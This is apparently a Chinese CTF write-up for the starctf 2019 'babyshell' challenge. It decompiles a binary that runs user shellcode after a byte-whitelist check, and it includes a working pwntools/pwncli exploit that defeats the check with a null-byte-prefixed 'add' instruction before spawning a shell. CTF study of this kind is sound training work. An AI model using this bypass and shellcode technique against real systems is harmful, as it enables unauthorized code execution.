buuoj-pwn-starctf_2019_babyshell
buuoj-pwn-starctf_2019_babyshell
逆向分析
GLIBC
ubuntu16,不涉及内存管理也没啥需要讲的
关键函数
-
主函数
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { _BYTE *buf; // [rsp+0h] [rbp-10h] sub_4007F8(a1, a2, a3); buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL); puts("give me shellcode, plz:"); read(0, buf, 0x200uLL); if ( !(unsigned int)sub_400786(buf) ) { printf("wrong shellcode!"); exit(0); } ((void (*)(void))buf)(); return 0LL; }
-
check函数
__int64 __fastcall sub_400786(_BYTE *buf) { _BYTE *i; // [rsp+18h] [rbp-10h] while ( *buf ) { for ( i = &unk_400978; *i && *i != *buf; ++i ) ; if ( !*i ) return 0LL; ++buf; } return 1LL; }
对于unk_400978的内容,我们可以使用shift + e提取,如下
ZZJ loves shell_code,and here is a gift:\x0F\x05 enjoy it!\x0A\x00
总结
就是有限制的shellcode,会将我们的shellcode逐字节与unk_400978的内容进行遍历,若相同则没事发生,若不相同则return 0。
漏洞利用
主要有以下两个思路
- 按照出题人的思路正向构造shellocde
- 使用 `x00`开头的shellocde
EXP
这里我选择第二种思路,第一种以后回来填坑
#!/usr/bin/env python3
'''
Author: 7resp4ss
Date: 2022-12-21 16:53:55
LastEditTime: 2022-12-21 16:59:32
Description:
'''
from pwncli import *
cli_script()
io = gift["io"]
elf = gift["elf"]
libc = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
sc = b'\x00\x4d\x00\x41' + asm(shellcraft.sh())
sl(sc)
io.interactive()
其他
根据http://ref.x86asm.net/coder64.html可以知道\x00开头的shellcode代表的是add。我们参考以\x00开头的shellcode可以知道他使用的是\x00\x0c,但是是打不通的,理由见下图
因此,我们只能尝试将该汇编改成对r13、rbp、rsp进行操作。这里我选择的是r13
$ pwn asm "add byte ptr [r13], cl" -v '5' -c 'amd64'
41004d00
便得到了\x00\x4d\x00\x41这一机器码